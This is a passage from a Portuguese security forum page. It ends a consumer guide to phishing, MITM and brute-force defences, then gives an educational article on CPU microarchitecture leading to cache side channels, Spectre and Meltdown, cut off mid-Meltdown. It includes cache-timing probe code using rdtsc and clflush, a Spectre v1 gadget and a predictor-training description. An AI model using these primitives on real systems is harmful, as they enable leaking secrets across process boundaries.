      E mais: sempre prefira entrar em contato com empresas pelo aplicativo da mesma baixado da loja oficial do seu smartphone, pois é a forma mais segura de não ser uma fraude. É bom destacar aqui que o WhatsApp nunca pede esse código por nenhum meio, ele deve ser escrito somente no aplicativo quando o mesmo pedir para liberar o seu acesso.
      Existe ainda uma segunda forma de evitar ser vítima do golpe mesmo que acidentalmente forneça o código ao atacante: autenticação em múltiplos fatores (particularmente em dois fatores). O WhatsApp tem um recurso que poucos conhecem em que o usuário cria uma senha (fator de conhecimento) que também jamais será solicitada a não ser pelo próprio aplicativo às vezes para ter certeza de que você é você mesmo, mas o mais importante e que evita esse ataque é que todas as vezes em que tentar acessar o aplicativo por um novo telefone, ele irá pedi-la, de forma que para que o ataque tenha sucesso, a vítima tem que fornecer tanto o token enviado por SMS quanto a senha configurada pelo próprio usuário, o que reduz muito as chances do sucesso por parte do atacante. 
      É altamente recomendado que todos os usuários configurem esse segundo fator de autenticação, mesmo porque se você não o fizer e o atacante for rápido o suficiente, ele pode configurar uma senha e, nesse caso, você terá maior dificuldade para recuperar o acesso, dando tempo para os seus amigos desavisados serem vítimas do atacante se passando por você. Para ativar o recurso, siga os passos abaixo, cujas imagens foram obtidas no site Techtudo:
      Entre no WhatsApp Toque nos três pontos no canto superior direito. A seguir toque em "Configurações" e "Conta".
       
      Toque em "Confirmação em duas etapas" e "Ativar".
       
      Insira a senha desejada e toque em "Avançar".
       
      Insira o e-mail para recuperação de senha caso a perca e toque em "Avançar".
      Fonte: https://www.techtudo.com.br 
      Mesmo se defendendo como explicado, você pode ainda ser vítima da segunda parte desse ataque, quando o atacante, em posse de uma conta de algum dos seus amigos, lhe manda mensagem pedindo dinheiro. Por esse motivo, é importante você avisar aos seus contatos assim que perceber que foi vítima de sequestro de conta. Faça a sua parte para evitar que outros sofram com a segunda parte do ataque, mas também fique atento caso algum conhecido seu o sofra (recomende a eles a ativação de autenticação em dois fatores para que isso não ocorra). Caso receba a mensagem de um contato pedindo dinheiro, siga passos semelhantes aos do ataque descrito anteriormente para verificar se de fato se trata da pessoa que diz ser e denuncie para as autoridades e empresas envolvidas caso seja uma tentativa de golpe, como detalhado anteriormente.
      Existem ainda ataques de phishing genéricos pelos mais diversos meios de comunicação:
      Telefone: Evite fornecer seu telefone para empresas desconhecidas e sempre que receber uma chamada de um número desconhecido suspeite. Não forneça dados, mesmo que a pessoa se identifique como funcionário de uma empresa confiável (qualquer um pode fazer isso).
      Fonte: https://pt.vecteezy.com 
      E-mail: Sempre que receber um e-mail que solicite uma resposta ou que acesse determinado link, desconfie, mesmo que aparentemente seja proveniente de empresa confiável e/ou conhecida. Verifique o cabeçalho do e-mail para ter certeza de que o endereço de origem é conhecido e confiável, e em caso de dúvida, entre em contato com o suposto remetente por outros meios previamente conhecidos, ignorando totalmente o e-mail. Além disso, denuncie o e-mail, clicando em classificar como spam e, a seguir, em denunciar fraude.
      Fonte: https://www.uol.com.br
      SMS: Sempre que receber mensagens por SMS com links evite clicar. Entre em contato com o suposto remetente por outros meios previamente conhecidos, ignorando totalmente o SMS. Essas mensagens geralmente falam sobre valores cobrados indevidamente ou dívidas. Veja o exemplo:
      Fonte: https://www.agazeta.com.br
      Ataque Man-In-The-Middle (MITM)
      Nesse tipo de ataque, o atacante intercepta uma comunicação de forma que ambos os interlocutores não percebam a sua presença e, eventualmente, troquem dados sensíveis. Um exemplo muito comum é a criação de uma página web muito parecida com um determinado serviço, como páginas web de bancos, em que a vítima insere os dados de acesso. A seguir, a página fake de fato envia a vítima para o site real de forma que, ao acessar o serviço, não percebe que algo errado ocorreu. Porém, nesse momento o atacante já terá as credenciais de acesso da vítima.

      Fonte: https://medium.com 
      Esse ataque é muito usado em conjunto com o ataque de engenharia social para que o atacante consiga fazer a vítima entrar em seu site fake pensando que está entrando no site real. A via de entrada para esses sites fake geralmente são e-mails ou SMS enviados por atacantes usando o ataque de phishing explicado na seção anterior.
      Para se evitar esse ataque, fique sempre atento ao site que está acessando, verificando se é de fato o site real do serviço desejado. Além disso, uma boa prática é, sempre que possível, acessar serviços através de aplicativos de celular baixado da loja oficial do sistema operacional do seu smartphone (Google Play, Apple App Store, Windows Phone Store, etc.).
      Ataque de Força Bruta
      Ataques de força bruta são aqueles em que o atacante testa diversas senhas até encontrar a correta. Por esse motivo, é importante o uso de senhas sempre distintas entre si, sendo cada uma delas aleatórias e contendo letras (maiúsculas e minúsculas), números e símbolos. Veja na imagem abaixo a relação entre tipos de caracteres, número de caracteres usados e o tempo médio necessário para o atacante conseguir descobrir a senha:

      Fonte: Hive Systems/Divulgação 
      Para que não esqueça nenhuma das suas senhas mesmo elas sendo grandes, aleatórias e distintas entre si, uma recomendação é o uso de gerenciadores de senha, como o Google Passwords, presente no navegador Chrome e em todos os smartphones com sistema Android.
      Para a maioria dos sites, esse ataque não funciona diretamente, pois há verificações que impedem muitas tentativas consecutivas. Porém, isso não impede que o ataque possa ocorrer, pois é muito comum falhas em relação a armazenamento de bancos de dados (recentemente a imprensa divulgou vários ataques a eles, com uma massiva quantidade de dados) que disponibilizam na Internet dados cadastrais. 
      Ataques a bancos de dados são tão comuns que não é recomendado o armazenamento de senhas de forma explícita. O que fica armazenado nos bancos de dados são hashes das senhas, isto é, funções conhecidas porém irreversíveis calculadas a partir das senhas, de forma que a partir da senha digitada, o site pode calcular a mesma função para determinar se foi digitada corretamente. Porém, um atacante com acesso ao banco de dados não terá as senhas de forma explícita, mas em posse das hashes, ele fica com tempo hábil e quantidade de tentativas ilimitadas para tentar possíveis valores da sua senha. Por isso a necessidade de se criarem senhas "fortes" e da aleatoriedade, pois sabendo dos dados presentes nessas tabelas e sabendo que as pessoas costumam escolher senhas fáceis de lembrar e, portanto, não aleatórias, os atacantes usam dicionários de palavras para fazerem tentativas mais inteligentes, demorando menos tempo para chegar às senhas corretas. 
      Para se ter uma ideia da diferença que isso faz, conforme o site wikwik, existem 6669 palavras de 5 letras na língua portuguesa, porém existem 11881376 combinações de 5 letras minúsculas (quase 2000 vezes mais). Se levarmos em consideração também letras maiúsculas, números e símbolos, ainda desconsiderando letras acentuadas, temos um total de 7339040224 combinações de 5 letras (1 milhão de vezes mais que o número de palavras). Essa quantidade mostra a importância de usarmos senhas aleatórias e com a maior quantidade possível de tipos de caracteres.
      Referências
      Authentication - Wikipedia Phishing - Wikipedia Social engineering - Wikipedia Troy Hunt Verificação em duas etapas no WhatsApp - Techtudo O que é um ataque Man-in-the-Middle - Kaspersky
    • By esoj
      Neste artigo vamos abordar os principais tópicos referentes a microprocessadores modernos como hierarquia de memória, pipelines, execução fora de ordem e analisar como essas features contribuiram para o surgimento de vulnerabilidades especulativas como o Spectre e o Meltdown.
      Como CPUs funcionam?
      As CPUs contêm um grupo de comandos bem definidos que permitem realizar operações lógicas e aritiméticas, ler e escrever na memória, fazer comparações, e controlar o fluxo de execução do próprio programa. O programador tem acesso a parte dessa interface da CPU através de instruções de máquina, que permitem ao programador solicitar diretamente à CPU para que esses comandos sejam realizados. Um exemplo de sequência de instruções é:
      1.mov ax,8 2.mov bx,10 3.add ax,bx Registradores são as unidades de armazenamento mais rápidas em termos de tempo de acesso, pois estão presentes dentro da CPU e estão fisicamente próximas das unidades de execução, que serão responsáveis por realizar as operações matemáticas na Unidade Lógica aritimética (ULA). 
      No exemplo acima foram utilizados dois registradores, o ax e o bx para realizar uma soma. Para o programador é importante que essas instruções sejam executadas na ordem correta, pois caso as instruções 2 e 3 troquem de posição isso poderia resultar em um comportamento inesperado do programa.
      Todavia, o ciclo completo de execução de uma única instrução possui várias etapas demoradas. Entre elas pode-se citar:
      - A leitura da própria instrução;
      - A decodificação da instrução pela CPU, realizando o chaveamento e a decisão de qual caminho o dado manipulado deve tomar;
      - A resolução dos acessos a memória, se houverem;
      - A execução da operação aritimética ou lógica, se houver;
      - A escrita do resultado na memória, se houver.
      Hierarquia de memória
      Para compreender por que certas operações demoram mais que as outras é preciso abordar o conceito de hierarquia de memória.
      Devido a questões de tecnologia empregada, proximidade física e densidade de armazenamento, os computadores utilizam uma combinação de dispositivos de armazenamento. Em geral componentes mais rápidos como registradores e caches localizam-se próximos a CPU, pois são constantemente utilizados. Esses componentes priorizam velocidade acima de densidade de bits ou custo e pelo fato de estarem próximos ao local de uso estão restritos a uma quantidade pequena. No outro extremo estão componentes lentos, mas com alta capacidade como SSDs e HDDs, que acabam priorizando armazenamento total e custo ao invés de velocidade.
      | Tecnologia empregada      | Tempo tipico de acesso      | $ por GB em 2012 | | --------                  | --------                    | -------- | | SRAM         | 0.5-2.5 ns                 | $500-$1000     | | DRAM         | 50-70 ns                    | $10-$20     | | FLASH         | 5000 5000                   | $0.75-$1.00     | | Disco Magnético         | 5000000 - 20000000 ns       | $0.05-$0.10     | Adaptado de Computer Organization and Design RISC-V Edition: The Hardware Software Interface Localidade Temporal e espacial
      A hierarquia de memória se baseia no princípio de que o acesso aos dados não é puramente aleatório. Devido à estrutura das operações mais comuns em programas como loops, acessos sequenciais a listas, e até mesmo o acesso das próprias instruções que tendem a seguir um fluxo sequencial, tem-se os conceitos de localidade temporal e espacial. 
      A localidade temporal é quando um dado recentemente acessado tem alta probabilidade de ser acessado novamente, como em índices de loops e contadores.
      A localidade espacial diz respeito ao acesso de posições de memória próximas. Por exemplo, quando o elemento 2 de uma lista é acessado, provavelmente o elemento 3 também será.
      Quando esses dados são trazidos para níveis superiores da hierarquia de memória, a próxima vez que esses itens precisarem ser acessados, os níveis inferiores não precisarão ser consultados, permitindo um acesso mais rápido ao dado.
      Hit rate, Miss rate
      Sabendo as taxas de acerto dos componentes da hierarquia pode-se calcular o tempo de acesso médio a memória e observar o impacto que determinados componentes possuem. Tomando como exemplo (não muito realista) a seguinte estrutura:
      | Componente    |Tempo de acesso | Taxa de Acerto |     | -------- | -------- | ----- | | Cache         | 2 ns | 90% | | DRAM         | 70ns |90% | | FLASH |5000ns |100% | Acontece que:
      Em 90% dos acessos o dado estará na cache e tempo de resposta será 2ns; Em 90% das 10% (9%) das ocorrências em que o dado não estava na cache, ele estará na DRAM e o tempo de resposta será 2ns (busca na cache) + 70ns (busca na DRAM); Nos 1% de acessos que não foram satisfeitos pelos componentes superiores o tempo de acesso será 5000ns +70ns+2ns. Portanto, o tempo médio de acesso será:
      0.9 * 2ns + 0.09 * 72ns + 0.01 * 572ns = 14ns Ao remover a cache o tempo médio subiria para:
      0.99 * 70ns + 0.01 * 570ns = 75ns Pipeline
      Conforme visto no programa abaixo, diversas etapas são necessarias para a execução completa de uma instrução. Todavia, durante esse processo o dado é utilizado apenas em um componente por vez, deixando os demais elementos da CPU ociosos, por exemplo durante o cálculo de uma soma na ULA não existem leituras de instruções feitas pela memória. Uma forma de melhorar o Throughtput de instruções seria permitir que os componentes ociosos trabalhem em forma de uma cadeia de produção, assim como ocorrem em uma linha de montagem, permitindo então reduzir o período de clock total pois cada etapa do processo pode ser feita em menos tempo.
      |Operação | 1 | 2 | 3 | 4 | 5 | 6 | 7 | |------------------------------------------------| |Leitura de instrução| A | B | C | | | | | |Decodificacao | | A | B | C | | | | |Execução | | | A | B | C | | | |Memória | | | | A | B | C | | |Escrita | | | | | A | B | |  
      Diagrama da execução das instruções A B e C ao longo dos ciclos 1-7 no estágio 3 por exemplo as unidades de Leitura, decodificação e execução estão ativas simultaneamente
      Todavia ao contrário de uma linha de produção em uma fábrica, instruções não são completamente independentes umas das outras. Considere a seguinte sequência:
      A. add ax,[bx] B. jz $+1 C. nop  Neste caso, a finalização da instrução A ocorrerá no melhor dos casos, apenas no ciclo 5, podendo levar ainda mais tempo dependendo de qual posição na hierarquia de memória o dado apontado por bx está. Todavia o pipeline necessita escolher se faz a leitura da instrução C ou a próxima ($+1) logo no ciclo 3. Quando isso ocorre, a CPU pode decidir esperar o resultado da operação o que acarretaria em perda de performance ou realizar uma predição sobre o pulo.
      Predição
      O exemplo acima trata de um desvio condicional. Ou seja, existem apenas dois caminhos possíveis que a CPU pode executar, tomar ou não tomar o pulo. Para auxiliar a decisão existem componentes internos na CPU chamados preditores de desvio, que coletam informações sobre os pulos recentes tomados para auxiliar na decisão. O exemplo mais simples é do contador de saturação ilustrado abaixo. Quando o desvio é tomado diversas vezes o preditor se adapta e passa a aceitar os próximos pulos tomados.
       

      Preditor condicional de 2 bits. Extraido de https://en.wikipedia.org/wiki/Branch_predictor
       
      if (*canRun){     f1(); } else{     f2(); } Exemplo de código que pode gerar comportamento especulativo caso a variável apontada por canRun não esteja na cache por exemplo
      Quando é necessário predizer o próximo endereço, é realizada uma execução especulativa ou seja, o processador não tem certeza se o caminho de execução está correto, então todos os resultados feitos a partir da predição são armazenados em registradores de rascunho. Quando a condicional que gerou a execução especulativa for resolvida (canRun foi lida da memória por exemplo), caso o caminho tomado esteja correto os resultados são gravados nos registradores verdadeiros, levando a um ganho de desempenho. Se o caminho tomado estiver incorreto os resultados presentes nos registradores de rascunho são descartados e é necessário executar o caminho correto dessa vez, levando a um desempenho semelhante ao obtido se o processador tivesse esperado a avaliação ter sido concluida.
      Processador superescalar e execução fora de ordem
      As CPUs modernas possuem mais do que uma única unidade de execução por núcleo, permitindo em algumas situações realizar mais do que uma instrução por ciclo de clock. Para que o uso de mais de um unidade de execução simultânea seja funcional ele deve ser capaz de alocar as instruções sem que haja uma alteração no resultado da operação a ser computada visando paralelizar as operações a serem realizadas. As instruções podem ser re-ordenadas e executadas fora de ordem desde que a dependência entre elas seja obedecida.
      Para que as instruções possam ser reordenadas elas devem respeitar os três riscos ao pipeline
      Read After Write
      mov rax,2 mov rbx,rax Não podem ser trocadas de ordem pois o resultado da segunda instrução seria alterado Write After Read
      mov rbx,rax mov rax,2 Não podem ser trocadas de ordem pois o resultado da primeira instrução seria alterado Write After Write
      mov rbx,rax mov rax,rbx Não podem ser trocadas de ordem pois o resultado de ambas instrução seriam alterados Desde que respeitadas essas dependências a CPU pode reordenar instruções para executar várias operações em paralelo. Abaixo esta representada a unidade de execução de uma CPU moderna.

      Unidades de execução presentes em um único núcleo de uma CPU modernas intel. Extraído de https://mdsattacks.com/
      Uma forma simples de demonstrar o paralelismo a nivel de instrução é com o código a seguir. No primeiro bloco existem 200 instruções inc esi . Devido a dependência Write after Write elas não poderão ser trocadas de ordem ou executadas em paralelo.
      No segundo bloco existem 100 instruções inc esi e 100 instruções inc edi. Embora haja dependência entre o valor atual do registrador esi e o anterior, o par de instruções pode ser executado em paralelo, pois não há dependência entre eles. 
      Dessa forma, é esperado um desempenho próximo de 200 ciclos para o primeiro bloco e próximo de 100 ciclos para o segundo bloco. Foram utilizadas as instruções rdtsc para realizar a medição do "tempo" de execução e lfence para serializar a instrução rdtsc, garantindo que ela não será reordenada.
      O resultado do programa (executado em um i5-7500) mostra 264 ciclos para o primeiro bloco e 146 para o segundo. Considerando o overhead esperado pela execução do rdstd; lfence os resultados indicam um throughput mínimo de 0.75 instruções por ciclo para o primeiro bloco e 1.36 para o segundo bloco, evidenciando o comportamento superescalar da CPU.
      //gcc  -masm=intel -o ilp ilp.c #include <stdio.h> int main(){     int time1;     int time2;     asm __volatile__(             "lfence            ;"             "rdtsc            ;"             "lfence            ;"             "mov ecx,eax    ;"                          ".rept 200        ;"             "inc esi        ;"             ".endr            ;"             "lfence            ;"             "rdtsc            ;"             "sub eax,ecx    ;"             "mov %0,eax        ;"             :"=r"(time1)             );     asm __volatile__(             "lfence            ;"             "rdtsc            ;"             "lfence            ;"             "mov ecx,eax    ;"                          ".rept 100        ;"             "inc edi        ;"             "inc esi        ;"             ".endr            ;"             "lfence            ;"             "rdtsc            ;"             "sub eax,ecx    ;"             "mov %0,eax        ;"             :"=r"(time2)             );     printf("Ciclos gastos no bloco 1: %i\n",time1);     printf("Ciclos gastos na bloco 2: %i\n",time2);      } $ ./ilp Ciclos gastos no bloco 1: 264 Ciclos gastos na bloco 2: 146  
      Operação da Cache
      A Cache de um processador funciona como uma pequena e rápida memória dentro do chip da CPU que salva o conteúdo dos últimos e próximos endereços a serem acessados. Quando uma CPU solicita um byte para a memória devido ao barramento ser de 64 bits e as memórias serem otimizadas para operação em modo burst bem mais dados do que o que foi solicitados chegam a CPU, assim a cache guarda os dados recebidos para quando eles forem solicitados novamente não seja necessário requisitar a memória novamente e a resposta seja muito mais rápida. 
      A cache armazena os dados em forma de linhas, onde cada linha contém múltiplos bytes (64 bytes atualmente).
      Quando o endereço solicitado chega a cache, ele é dividido da seguinte forma:
      | Tag | Set | Offset| | --- | --- | --- | Offset é a posição do byte na linha da cache, Set é o endereço da linha na Cache e a Tag é o restante. A tag é guardada para poder diferenciar endereços com mesmo set e offset. Em uma CPU com 256 linhas e 64 bytes cada linha o tamanho de cada parte seria:
      |Offset | bits 0-5 | |Set    | bits 6-13 | |Tag    | bits 14-63 | Paginação e Translation Lookasidebuffer
      Processadores modernos necessitam executar múltiplos programas simultaneamente, para isso um dos problemas a ser resolvido é o gerenciamento de memória.Um processo A não deve ser capaz de ler ou escrever na memória de um processo B, se isso fosse possível um programa mal escrito provavelmente causaria um crash acidental nos demais programas ao escrever no endereço errado, ou então um malware seria capaz de ler memória de outros usuários da mesma máquina. Além disso, programas que foram compilados para utilizarem endereços virtuais idênticos devem ser capazes de executar ao mesmo. O compilador não é capaz de conhecer previamente quais endereços estarão sendo utilizados durante a execução do programa.Para isso, o sistema operacional é responsável em realizar a tradução de endereços virtuais(escolhidos pelo compilador) para endereços físicos(utilizados pelo chip de ram).
      #include <stdio.h> int main(){     printf("ola mundo!\n"); } $objdump -s test Contents of section .rodata:  402000 01000200 6f6c6120 6d756e64 6f2100    ....ola mundo!. Endereço virtual 0x402000 utilizado para a string "ola mundo!"
       
      Os sistemas operacionais atuais isolam a memória de processos através de paginação. Toda vez que um programa acessa a memória o endereço é traduzido de endereço virtual para físico através da consulta da tabela de páginação no sistema operacional. Essa tradução é feita através da tabela de paginação, uma região de memória em que o kernel pode escrever os valores do endereço físico de cada página a ser traduzida. Por questões de economia de espaço, ela é dividida em níveis. Caso essa divisão não exsitisse, para páginas de 4kb de tamanho e 48-bits de espaço de endereçamento e 8 bytes de entrada seriam necessários 2^36 indices, portanto 2^36 * 8 = 512GB para um único processo. Quando a tabela de paginação é divida em dirietórios, se o diretório superior possui 10 entradas, apenas as entradas utilizadas provocarão uma alocação dos diretórios inferiores, reduzindo o total de espaço alocado para a tabela de paginação.
      É importante ressaltar que junto ao endereço físico armazenado em cada entrada, estão presentes também as permissões da cada página como leitura, escrita e execução. Caso uma instrução viole a permissão de leitura ou escrita por exemplo a CPU gera uma exceção de Segmentation Fault que pode fazer com que a execução do programa seja suspensa.

      Esquema de páginação de 4 níveis utilizado no linux. Adaptado de https://jasoncc.github.io/kernel/jasonc-mm-x86.html
      Para aumentar o desempenho essa tabela é cacheada através do Translation lookaside buffer, que guarda os mapeamentos recentes entre endereço virtual e físico, evitando assim com que a memória seja consultada toda vez que um endereço seja acessado.
      Quando uma troca de contexto ocorre como o chaveamento entre dois processos, o registrador CR3 que aponta para a base da tabela é trocado e a TLB deve receber um flush para invalidar suas entradas.
      ---
      Observação
      Devido ao desuso da segmentação, o endereço virtual usualmente será o mesmo que o endereço linear que seria obtido após a segmentação e utilizado como entrada para o mecanismo de paginação.
      ---
      Observando o estado da micro arquitetura - Cache Side Channels Attacks
      Um ataque de side channel é um ataque que ao invés de buscar uma falha no algoritmo, exfiltra ou obtem informação sensível de um sistema baseado em algum efeito colateral durante a sua execução.
      Alguns exemplos de side channel
      Frequencia de rádio Air-Fi permite um atacante exfiltrar dados de um computador comprometido mas sem acesso a internet, utilizando o barramento de memória como placa de rede sem fio. TempestSDR permite um atacante recuperar a imagem transmitida para um monitor através das ondas eletromagnéticas transmitidas pelo cabo HDMI. Consumo de energia Ataques de análise de consumo de energia podem ser capazes de identificar quais etapas do algoritmo de encriptação estão sendo executadas e assim extrair a chave utilizada. (rhme2 CTF https://github.com/Riscure/Rhme-2016) Tempo Checagens de senhas com tempo variável podem permitir descobrir quantos caracteres em uma senha estão corretos e assim realizar um ataque de força bruta com muito mais facilidade Cache Permite observar efeitos colaterais da execução de outros programas, bem como observar os efeitos de operações internas de CPU que deveriam ser invisíveis ao programador, como execução especulativa por exemplo. Para compreender melhor os ataques a seguir vamos escolher um tipo de side channel de cache que será utilizado como método de exfiltração dos segredos obtidos pelos ataques a seguir.
      Copy on write e ataques de side channel
      Porém, nem sempre é desejavel que os processos isolem completamente sua memória. Seções de memória comuns a diversos processos como bibliotecas podem ser compartilhadas através do mecanismo de Copy on Write. Nele, quando uma página é carregada através da syscall de mmap com um arquivo como parâmetro se aquele arquivo já estiver mapeado em memória não é criada uma nova página. Caso o processo deseje alterá-lo, uma cópia privada da página é criada e passa a ser exclusiva para aquele processo, por isso o nome Copy on Write. Embora não haja nenhum problema de segurança inerente desse mecanismo pois para que haja compartilhamento as seções devem ser idênticas, o mero compartilhamento da memória física pode gerar interferências entre processos, como será visto ao analisar o tempo de resposta da memória para essas regiões.

      Diagrama de dois processos compartilhando a região de bibliotecas. Quando o endereço virtual referente a biblioteca é traduzido, ele aponta para uma única região da memória RAM
      Exemplo de programa vulnerável a side channel
      void main(){     //emojiList é compartilhada por COW pois está em uma biblioteca     char *flag="segredo";     char t;     while (1){         for (int i=0;flag[i]!='\0';i++){           t = emojiList[flag[i] * 160];         }     } } No exemplo acima, o conteúdo da variável flag, a principio não conhecida pelo atacante é utilizado como índice para acessar o array `emojiList`. Quando um acesso ocorre, o emoji passa estar presente na cache, de tal forma que o próximo acesso vai ter um tempo de resposta inferior. Sabendo disso um atacante poderia constantemente medir o tempo de resposta de cada valor possível do emojiList e quando detectar um tempo de resposta rápido, inferir qual caracter foi utilizado como índice.
      Para essa manipulação de cache, são utilizados duas instruções 
      RDTSC - Read Time Stamp Counter, que lê um registrador que conta quantos ciclos se passaram desde o boot da máquina. É utilizada como um relógio muito preciso para a medição de tempo CLFLUSH - Permite invalidar uma linha da cache dado um endereço. É utilizada para impedir que a própria medição do tempo de acesso leve a um falso positivo na proxima medição LFENCE - Realiza uma operação de serialização em todos os pedidos de leitura da memória anteriores a instrução LFENCE. Instruções subsequentes a LFENCE podem ser lidas mas elas não serão executadas especulativamente até a finalização da LFENCE. MFENCE - Funciona de forma semelhante a LFENCE mas funciona também para pedidos de escrita. Um exemplo de medição seria
      unsigned long probe_timing(char *adrs) {     volatile unsigned long time;     asm volatile(         "    mfence             \n"         "    lfence             \n"         "    rdtsc              \n"         "    lfence             \n"         "    movl %%eax, %%esi  \n"         "    movl (%1), %%eax   \n"         "    lfence             \n"         "    rdtsc              \n"         "    subl %%esi, %%eax  \n"         "    clflush 0(%1)      \n"         : "=a" (time)         : "c" (adrs)         : "%esi", "%edx"     );     return time; }
      Para que um sistema seja vulnerável a esse tipo de ataque é necessário que haja uma clara distinção entre o tempo de resposta de um dado presente apenas na memória e um dado em cache. Para isso é possível testar:
       
      char globalVar[4096]={1,4,7,8,5,9,1}; int main(){   unsigned long t1,t2;   unsigned long count=0;   double total_access,total_evict;   total_access=0;   total_evict=0;   for(unsigned i=0;i<100;i++){     if (i%2==0){       maccess((void *)&globalVar[44]);     }     t1=probe_timing((void *)&globalVar[44]);     count++;     if (i%2==0){       printf("time w acess: %lu\n",t1);       total_access+=(double)t1;     }     else{       printf("time no acess: %lu\n",t1);       total_evict+=(double)t1;     }      }   printf("avg cached=%lf\n",total_access/50);   printf("avg evicted=%lf\n",total_evict/50);   return 0; ... time w acess: 68 time no acess: 304 time w acess: 66 time no acess: 308 avg cached=68.400000 avg evicted=347.200000 # head /proc/cpuinfo  processor    : 0 vendor_id    : GenuineIntel cpu family    : 6 model        : 158 model name    : Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz stepping    : 9 cpu MHz        : 3408.006 cache size    : 6144 KB
      Botando o tempo de resposta de cada acesso no gráfico, pode-se perceber a diferença do tempo de acesso entre dados presentes na cache e na memória principal e se estabelecer um limite para decidir se o dado esta na cache.

      Diferença do tempo de resposta da memória para dados em cache



      O ataque originalmente foi criado para vazar chaves criptográficas entre usuários usando a biblioteca GnuPG. Posterioremente o exploit foi adotado em outros ataques de micro arquitetura como canal para vazar segredos obtidos de forma especulativa.
      Spectre
      O spectre se baseia no envenenamento de preditores para realizar a execução de código que não deveria ser executado. Dessa forma um atacante consegue enganar a CPU a burlar checagens de limite ou até obter execução de código (espculativa) no processo da vitima. Isso traz implicações sérias de segurança para o isolamento entre processos e sandboxes como navegadores. 
      Variant 1 - Exploiting Conditional Branch Missprediction  
      if (x < array1_size)     y = array2[array1[x] * 4096];
      O código acima mostra um exemplo de programa vulnerável ao spectre em que o atacante possui controle da variável x.Na primeira linha existe uma checagem do limite do valor x para impedir que o conteúdo do array1 seja acessado fora desse limite o que poderia gerar uma exceção ou um acesso a um dado sensível no espaço de endereço do processo da vítima. A segunda linha consistem em um alvo para um side channel attack. O conteúdo do array1 é utilizado como indice para o array2. É possível mensurar quais elementos do array2 estão em cache através de ataques como flush+reload caso array2 seja compartilhado via COW ou através de outros side channels mais complexos como prime+probe que não necessitam de memória compartilhada. 
      Utilizando apenas o side channel é possível obter o conteúdo do array1, porém o exploit do spectre amplia o escopo do ataque permitindo vazar endereços fora do limite do array.
      Manipulação de preditor
      A primeira linha realiza uma checagem que está passível a ser especulada. Caso o valor de array1_size demore para ser lido, o processador criará um ponto de especulação e tera de decidir se o desvio será tomado. Um atacante com o controle do x pode manipular o preditor para treinar a CPU a sempre executar o bloco dentro da condicional. Supondo um valor de array1_size=10 por exemplo uma sequencia de entradas como: 0,0,0,0,0,0,0,0,20 faria o preditor saturar na posição de desvio não tomado fazendo com que ao tratar a entrada x=20; y = array2[array1[20] * 4096];  seja executado de forma especulativa e o segredo presente na posição 20 seja vazado, o que pode ser outra variável. 
      Exploits dessa categoria são perigosos para navegadores pois podem ser implementados de forma semelhante em javascript. Um código em javascript que seja capaz de ler a memória do próprio processo pode extrair cookies e dados sensíveis de outros domínios.

      Antes da checagem de limite ser realizada, o preditor de desvio continua a execução no caminho mais provável, levando a uma melhora do desempenho quando correto. Todavia se a checagem do limite for indevidamente predita como verdadeira pode levar um atacante a vazar informação em algumas sitauções. Extraido de: Spectre Attacks: Exploiting Speculative Execution
      É importante notar também que cada núcleo da CPU possui o próprio preditor de desvio, portanto para que esse ataque seja bem sucedido quando executado em processos diferentes eles sejam escalonados para executarem no mesmo núcleo, seja através do escalonador do sistema operacional ou através de mecanismos Simultaneous MultiThreading (SMT).

      V2 Poisoning Indirect Branches
      Conforme já foi abordado, preditores condicionais tem apenas duas opções para escolher sobre o pulo, tomar ou não tomar. Porém existem instruções que permitem pulos para endereços armazenados em variáveis por exemplo que possuem um comportamento um pouco mais complicado de predizer.
      call rbx              ;branch direto jump rcx              ;branch direto call [rax]            ;branch indireto São todas instruções que necessitam do preditor indireto. Esses tipos de instruções são geradas quando o programa precisa dinamicamente descobrir o que executar. funções que recebem ponteiros para outras funções ou até mesmo Virtual tables podem gerar esse comportamento. Para realizar essa predição a CPU possui um Branch Target Buffer (BTB) que armazena os endereços de origem e destino dos desvios indiretos mais recentes.

      Diagrama do preditor de desvio Incondicional - Extraído de Exploiting Speculative Execution
      Para efetuar o ataque o programa do atacante deve treinar o BTB para que quando a vitima execute o desvio indireto o atacante tenha controle do endereço de destino. A técnica utilizada é muito semelhante a Return Oriented Programing (ROP), pois constrói o código de ataque utilizando pedaços do código da vítima, porém não há nenhuma corrupção de memória envolvida.O único meio de obter informação é através do estado da cache.

      Layout de um ataque de Spectre V2
      Para performar o ataque o atacante deve alinhar em seu processo o endereço do pulo ou chamada e treinar o preditor para outro endereço. Como entrada para o preditor são utilizados os endereços virtuais do programa, portanto além de ser necessário identificar a existência de um spectre gadget é necessário também saber o seu endereço.
      Exemplo de gadget encontrado na função Sleep em ntdll.dll no Windows
      adc edi,dword ptr [ebx+edx+13BE13BDh] adc dl,byte ptr [edi] Quando os registradores ebx e edi são controlados pelo atacante através de entradas para o programa, o atacante é capaz de fornecer um endereço alvo, tal que ebx = alvo - edx -13BE13BDh e manipular edi para ser a base do array de medição. A primeira instrução executa uma leitura no endereço desejado e a segunda instrução utiliza o segredo lido como endereço para acessar o array. Posteriormente o atacante deve executar um dos ataques de side channel para descobrir qual endereço foi acessado de forma especulativa, vazando assim o dado condido no endereço apontado por alvo. 
      Mitigações
      Devido ao spectre se basear em padrões específicos de outros programas, a mitigação não é trivial e é usualmente feita de forma individual.
      Prevenção de especulação
      É possível utilizar instruções de serialização ou de bloqueio de especulação como LFENCE antes de trechos de código vulneráveis como branches condicionais ou indiretos. 
      Prevenção do envenenamento de branches
      Alguns mecanismos são capazes de previnir a especulação entre diferentes domínios:
      Indirect Branch Restricted Speculation (IBRS) impede com que branches de código menos privilegiado afetem branches de código de maior privilégio; Single Thread Indirect Branch Prediction (STIBP) evita que códigos executados no mesmo núcleo e em threads diferentes (exemplo hyperthreading) compartilhem as mesmas predições; Indirect Branch Predictor Barrier (IBPB) permite colocar barreiras que impedem com que o estado do BTB afetem a próxima execução (através de flush do BTB por exemplo); Retpotline substitui as chamadas indiretas por instruções de retorno, e forçam com que o endereço seja especulado para um endereço seguro. Meltdown
      O Meltdown ocorre devido ao tempo de resposta que uma exeção leva até que a execução do processo seja suspensa, ou a exceção seja tratada. Nesse período, o programa continua a executar de forma fora de ordem e/ou especulativa, mesmo após a ocorrência de uma exceção. O meltdown ameaça a barreiras de segurança sendo capaz de ler memória de outros processos, kernel e até memória de outros usuários em ambientes virtualizados em nuvem.
      Mapeamento de memória
      O espaço de endereçamento de um processo em execução é dividido em várias seções, cada uma contendo um ou mais páginas. 
